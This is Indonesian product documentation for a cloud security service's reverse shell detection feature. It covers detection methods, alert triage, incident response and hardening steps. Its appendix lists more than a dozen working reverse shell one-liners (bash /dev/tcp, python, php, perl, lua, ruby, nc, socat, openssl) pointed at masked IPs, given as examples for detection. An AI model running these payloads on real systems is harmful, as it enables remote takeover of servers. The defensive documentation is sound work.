Fitur pendeteksian reverse shell Security Center menggunakan analisis multidimensi untuk mengatasi keterbatasan metode deteksi tradisional terhadap serangan yang beragam dan tersembunyi. Fitur ini mengidentifikasi berbagai jenis serangan reverse shell dan menghasilkan peringatan keamanan, membantu Anda mendeteksi serta merespons insiden intrusi server guna melindungi aset cloud Anda.
Apa itu reverse shell
Reverse shell adalah teknik intrusi server yang umum. Setelah memperoleh akses awal ke server melalui metode seperti eksploitasi kerentanan atau penggunaan kata sandi lemah, penyerang biasanya menerapkan reverse shell. Teknik ini membangun saluran data rahasia yang secara aktif menghubungkan server yang telah disusupi (klien) ke server kendali penyerang.
Metode serangan ini menimbulkan dua ancaman utama:
Melewati batasan firewall: Karena koneksi berasal dari dalam server, koneksi tersebut dapat melewati firewall yang hanya membatasi lalu lintas masuk, sehingga memungkinkan penyerang menjalankan perintah dari jarak jauh.
Membangun kontrol persisten: Penyerang dapat memperoleh shell interaktif untuk mendapatkan kontrol penuh atas server. Hal ini memungkinkan mereka mencuri data, menginstal ransomware, melakukan pergerakan lateral, atau menggunakan server sebagai landasan untuk menyerang sistem lain.
Cara kerja
Pendekatan inti
Untuk menghadang serangan reverse shell yang kompleks dan terus berkembang, Security Center melampaui metode tradisional yang bergantung pada pencocokan fitur tunggal. Sistem ini membangun sistem deteksi generasi berikutnya yang berlapis berdasarkan prinsip-prinsip inti berikut:
Melampaui tanda tangan tradisional: Fokus pada perilaku dasar serangan, bukan fitur statis yang tidak stabil seperti ekspresi reguler.
Pengumpulan data multidimensi: Menggunakan agen host untuk mengumpulkan data real-time yang komprehensif, termasuk informasi proses, file, jaringan, dan panggilan kernel.
Analisis cerdas berbasis cloud: Memanfaatkan platform data besar berbasis cloud untuk analisis korelasi dan pemodelan perilaku pada set data skala besar guna memungkinkan validasi silang.
Sistem defense-in-depth ini, yang menggabungkan deteksi cloud dan endpoint, secara akurat dan efisien mendeteksi serangan yang dikenal maupun tidak dikenal, sehingga meningkatkan tingkat deteksi dan akurasi secara keseluruhan.
Teknologi deteksi utama
Sistem deteksi Security Center terdiri dari beberapa teknologi utama yang merekonstruksi perilaku serangan dari dimensi berbeda untuk memungkinkan validasi silang.
Analisis File Descriptor (FD)
Prinsip dan metode deteksi: Memantau deskriptor file proses secara real time. Jika input standar, output, atau error dari proses shell dialihkan ke soket jaringan, peringatan akan segera dipicu.
Sasaran deteksi utama: Reverse shell yang diluncurkan langsung dengan perintah seperti
bash -i >& /dev/tcp/...yang menggunakan pengalihan I/O.
Analisis urutan perintah abnormal
Prinsip dan metode deteksi: Menetapkan garis dasar urutan perintah normal untuk server menggunakan platform data besar. Ketika urutan abnormal yang cocok dengan pola serangan yang dikenal (seperti pengintaian atau peningkatan hak istimewa) terdeteksi, aktivitas tersebut ditandai sebagai berisiko tinggi.
Sasaran deteksi utama: Reverse shell yang diimplementasikan melalui bahasa skrip seperti Python atau Perl yang tidak memiliki karakteristik proses shell yang jelas, serta perilaku pergerakan lateral selanjutnya.
Analisis rantai startup proses abnormal
Prinsip dan metode deteksi: Menganalisis secara komprehensif hubungan induk-anak proses, parameter startup, konteks pengguna, dan perilaku historis untuk mengidentifikasi shell non-interaktif yang diluncurkan oleh proses induk abnormal, seperti layanan web.
Sasaran deteksi utama: Reverse shell yang dipicu oleh kerentanan web dan disembunyikan dalam lalu lintas layanan normal.
Analisis mendalam terhadap file berbahaya
Prinsip dan metode deteksi:
Sandbox skrip: Melakukan pelacakan dinamis dan dekompilasi statis pada skrip persisten (Bash, Python, JAR) untuk mengidentifikasi logika berbahaya dalam kode yang diobfuscate.
Sandbox biner: Menganalisis fungsi yang diimpor, struktur kode, dan perilaku dinamis (seperti konektivitas jaringan) program yang dikompilasi (C/C++, Go, Meterpreter).
Sasaran deteksi utama: Trojan skrip yang sangat diobfuscate atau dienkripsi, serta program reverse shell yang dikompilasi dalam C/C++ atau Go, atau yang dihasilkan oleh Meterpreter.
Deteksi fitur lalu lintas jaringan adversarial
Prinsip dan metode deteksi: Menganalisis lalu lintas jaringan untuk fitur komunikasi shell interaktif dan mendeteksi perilaku penghindaran umum seperti mengganti shell sistem atau pengkodean perintah.
Sasaran deteksi utama: Berfungsi sebagai metode tambahan untuk meningkatkan cakupan pola serangan dan teknik penghindaran yang dikenal.
Prosedur
Alur kerja perlindungan reverse shell lengkap mencakup mengaktifkan deteksi, menganalisis peringatan, dan melakukan tanggapan insiden.
Aktifkan deteksi reverse shell
Jika Anda telah berlangganan edisi berbayar Security Center dan agen telah diinstal serta online di server target, deteksi reverse shell diaktifkan secara default tanpa memerlukan konfigurasi manual.
Analisis dan interpretasi peringatan
Ketika Security Center mendeteksi aktivitas reverse shell yang mencurigakan, buka halaman atau . Temukan peringatan reverse shell dan buka halaman detail peringatan tersebut. Saat menganalisis peringatan, fokuslah pada informasi berikut:
Tingkat Ancaman: Biasanya Tinggi, menunjukkan bahwa peringatan tersebut memerlukan perhatian dan penanganan segera.
Informasi Proses: Menampilkan jalur proses dan parameter command line yang memicu peringatan. Informasi ini sangat penting untuk menentukan apakah perilaku tersebut berbahaya. Misalnya, proses
/bin/bash -iyang dimulai oleh penggunawww-datamerupakan indikator risiko tinggi yang khas.Informasi Proses Induk: Memberikan sumber proses mencurigakan, membantu melacak jalur serangan. Misalnya, jika proses induk adalah server web (seperti Apache atau Nginx), kemungkinan besar serangan berasal dari kerentanan web.
Informasi Koneksi Arah Keluar: Jika tersedia, bagian ini menampilkan alamat IP dan port remote yang dihubungi oleh proses mencurigakan tersebut. Alamat IP ini adalah server kendali penyerang.
Menangani peringatan
Pada halaman detail peringatan, Anda dapat mengambil tindakan berikut berdasarkan kebutuhan bisnis dan penilaian risiko Anda. Untuk informasi lebih lanjut, lihat Analisis dan penanganan peringatan keamanan.
Virus Detection and Removal: Segera menghentikan proses virus dan memindahkan file virus ke area karantina. File yang dikarantina tidak dapat dieksekusi, diakses, atau disebarluaskan. Ini merupakan solusi satu-klik yang paling komprehensif.
Quarantine: Hanya memindahkan file mencurigakan ke area karantina, mencegahnya berjalan. Operasi ini tidak langsung menghentikan proses yang sedang berjalan.
End Process: Segera menghentikan proses berbahaya yang terkait dengan peringatan untuk memutus serangan secara cepat.
Add to Whitelist: Jika investigasi Anda memastikan bahwa peringatan tersebut merupakan positif palsu yang dipicu oleh operasi dan pemeliharaan (O&M) normal atau skrip bisnis, Anda dapat menambahkan peringatan tersebut ke daftar putih.
CatatanAnda dapat mengatur aturan daftar putih berdasarkan jalur file, hash MD5, atau kriteria lainnya untuk mencegah kejadian serupa menghasilkan peringatan lagi.
Penguatan keamanan
Blokir koneksi jaringan
Temukan alamat IP penyerang di detail peringatan.
Konfigurasikan kebijakan grup keamanan untuk menolak semua akses dari alamat IP ini baik dalam arah masuk maupun keluar. Hal ini sepenuhnya memutus koneksi penyerang.
Hapus pintu belakang persisten
Penyerang sering kali menyiapkan mekanisme persistensi untuk mempertahankan kendali. Masuk ke server dan selidiki hal-hal berikut:
Periksa tugas terjadwal: Jalankan
crontab -l -u <user>, di mana<user>adalah pengguna yang menjalankan proses mencurigakan, sepertirootatauwww-data. Periksa adanya tugas terjadwal yang mencurigakan. Jika ditemukan, gunakancrontab -euntuk mengedit file dan menghapus entri berbahaya tersebut.Hapus file berbahaya: Gunakan jalur file yang disediakan dalam peringatan untuk menemukan dan menghapus skrip atau file biner berbahaya di server.
Lakukan pemindaian menyeluruh dan perkuat server
Di Konsol Security Center, buka halaman . Lakukan pemindaian file menyeluruh dan deteksi pintu belakang pada server untuk memastikan tidak ada file berbahaya tersembunyi lainnya.
Periksa dan perbaiki kerentanan keamanan pada server untuk menghilangkan titik masuk serangan.
Deskripsi biaya dan risiko
Struktur biaya: Fitur deteksi reverse shell termasuk dalam edisi berbayar Security Center dan tidak dikenakan biaya tambahan. Untuk melakukan analisis mendalam terhadap log layanan Anda, Anda harus membeli fitur tambahan Log Management atau Log Analysis.
Risiko utama:
Saat menanggapi insiden, tindakan seperti menghentikan proses atau mengubah konfigurasi dapat memengaruhi operasi bisnis normal. Kami sangat menyarankan Anda membuat snapshot server sebagai cadangan sebelum melakukan perubahan apa pun.
Meskipun Security Center menyediakan deteksi multidimensi, tidak ada solusi deteksi yang sempurna. Serangan zero-day yang sangat disesuaikan menggunakan teknik yang tidak dikenal masih dapat melewati deteksi. Oleh karena itu, defense in depth sama pentingnya. Hal ini mencakup segera memasang patch kerentanan, menerapkan prinsip hak istimewa minimal, dan menegakkan kebijakan jaringan yang ketat.
Lampiran: Klasifikasi dan contoh reverse shell
Reverse shell menggabungkan tiga elemen inti: komunikasi jaringan, eksekusi perintah, dan pengalihan I/O. Bersama-sama, ketiga elemen ini menciptakan saluran data yang dapat dikendalikan dari jarak jauh. Security Center mengklasifikasikan reverse shell menjadi tiga tipe berikut dan menggunakan strategi deteksi berlapis yang ditargetkan.
Tipe 1: Pengalihan I/O langsung ke soket
Prinsip inti: Tipe ini mengalihkan aliran input standar, output, dan error dari
bash -ike/dev/tcp Socketuntuk komunikasi jaringan.Pendekatan deteksi: Analisis File Descriptor (FD). Hal ini memantau tabel FD proses untuk mendeteksi apakah I/O standar proses shell dialihkan ke soket jaringan.
Contoh serangan:
Contoh 1:
bash -i >& /dev/tcp/10.10.XX.XX/6060 0>&1Contoh 2:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.XX.XX",6060));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'Contoh 3:
php -r '$sock=fsockopen("10.10.XX.XX",6060);exec("/bin/sh -i <&3 >&3 2>&3");'Contoh 4:
perl -e 'use Socket;$i="10.10.XX.XX";$p=6060;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'Contoh 5:
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.XX.XX','6060');os.execute('/bin/sh -i <&3 >&3 2>&3');"
Tipe 2: Pengalihan I/O melalui perantara seperti pipe atau pseudo-terminal
Prinsip inti: Tipe ini menggunakan pipe atau pseudo-terminal (PTY) sebagai perantara. I/O shell pertama-tama dialihkan ke perantara, lalu proses lain menghubungkan perantara tersebut ke soket jaringan. Dalam beberapa variasi, data dapat melewati beberapa lapis perantara, pada akhirnya membentuk saluran kendali jarak jauh yang lengkap.
Pendekatan deteksi: Pelacakan tautan FD dan analisis hubungan proses. Lacak tautan FD lengkap tempat aliran data mengalir untuk mengidentifikasi rantai proses abnormal yang terhubung ke soket jaringan melalui pipe atau PTY.
Contoh serangan:
Contoh 1:
mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect 0.0.XX.XX:666 > /tmp/fContoh 2:
nc 10.10.XX.XX 5050 nc -e /bin/bash 10.10.XX.XX 6060 nc -c bash 10.10.XX.XX 6060 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.XX.XX:6060Contoh 3:
mknod backpipe p; nc 10.10.XX.XX 6060 0backpipe 2>backpipeContoh 4:
bash -c 'exec 5<>/dev/tcp/10.10.XX.XX/6060;cat <&5|while read line;do $line >&5 2>&1;done'Contoh 5:
telnet 10.10.10.10 6060 | /bin/bash | telnet 10.10.XX.XX 5050Contoh 6: Menggunakan pseudo-terminal sebagai perantara. Tipe ini lebih sulit dideteksi dan memerlukan analisis kontekstual yang komprehensif.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.XX.XX",10006));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Tipe 3: Menggunakan bahasa pemrograman untuk mengimplementasikan eksekusi perintah dan pengalihan I/O
Prinsip inti: Logika diimplementasikan dalam bahasa skrip, seperti Python atau Ruby, alih-alih menggunakan fitur pengalihan shell secara langsung. Kode menerima perintah jaringan, memanggil fungsi seperti
subprocessatauexecuntuk mengeksekusinya, lalu mengirimkan hasilnya kembali.Pendekatan deteksi: Analisis urutan perilaku dan model startup abnormal. Karena logika serangan dibungkus dalam kode, diperlukan deteksi tingkat lebih tinggi. Ancaman dideteksi dengan menganalisis urutan perintah abnormal (seperti perilaku pengintaian setelah mendapatkan shell) atau dengan mengidentifikasi shell yang dimulai oleh proses induk abnormal, seperti layanan web.
Contoh serangan:
Contoh 1:
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.10.XX.XX',6060))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"Contoh 2:
lua5.1 -e 'local host, port = "10.10.XX.XX", 6060 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'Contoh 3:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.XX.XX","6060");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
FAQ
Mengapa metode deteksi tradisional sering gagal?
Metode deteksi umum menggunakan ekspresi reguler untuk mengekstraksi fitur dari perintah reverse shell dan mencocokkannya dengan log perintah dan log lalu lintas. Metode ini memiliki tiga keterbatasan utama:
Pengumpulan log tidak lengkap: Saat operator pipe atau pengalihan digunakan, metode pengumpulan log konvensional mungkin gagal mencatat perintah serangan secara lengkap.
Aturan mudah dilewati: Penyerang dapat menggunakan pengkodean, obfuscation, atau teknik lain untuk melewati aturan berbasis string tetap atau ekspresi reguler.
Lalu lintas terenkripsi: Jika lalu lintas serangan dienkripsi, metode deteksi berbasis fitur jaringan menjadi tidak efektif.
Apakah deteksi reverse shell Security Center dapat mencapai akurasi 100%?
Tidak, tidak bisa. Tidak ada solusi deteksi reverse shell yang dapat menjamin akurasi 100%. Teknologi serangan dan pertahanan terus berkembang. Reverse shell tingkat lanjut yang diimplementasikan dalam bahasa pemrograman, seperti pada Tipe 3, sangat sulit dideteksi karena perilakunya menyerupai skrip bisnis normal. Security Center meningkatkan tingkat deteksi dan akurasi melalui deteksi multidimensi dan model perilaku abnormal, tetapi keamanan tetap merupakan proses adversarial yang berkelanjutan.
Mengapa reverse shell yang menggunakan pseudo-terminal (PTY) lebih sulit dideteksi?
Dari perspektif proses shell, input dan outputnya dialihkan ke perangkat pseudo-terminal. Perilaku ini mirip dengan login SSH normal, sesi
screen, atau terminal di lingkungan kontainer. Hal ini menyulitkan pembedaan antara perilaku berbahaya dan operasi O&M normal. Security Center melakukan analisis komprehensif dengan menggabungkan log dari berbagai dimensi, seperti proses dan jaringan, untuk menyeimbangkan negatif palsu dan positif palsu.